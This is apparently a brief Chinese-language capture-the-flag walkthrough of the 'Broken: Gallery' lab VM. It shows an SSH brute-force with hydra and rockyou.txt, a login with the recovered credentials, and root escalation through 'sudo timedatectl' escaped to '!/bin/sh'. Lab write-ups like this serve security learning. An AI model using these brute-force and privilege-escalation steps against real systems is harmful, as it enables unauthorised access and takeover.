Broken: Gallery靶机

端口扫描

靶机ip地址为 192.168.153.157

目录扫描

访问80端口

点击查看，目录拼接访问，没有发现什么有用信息

尝试22端口的ssh进行爆破

hydra -L rockyou.txt -P rockyou.txt 192.168.153.157 ssh

爆破出密码 broken | broken

ssh连接

ssh broken@192.168.153.157

连接成功

提权

sudo -l

sudo timedatectl list-timezones

!/bin/sh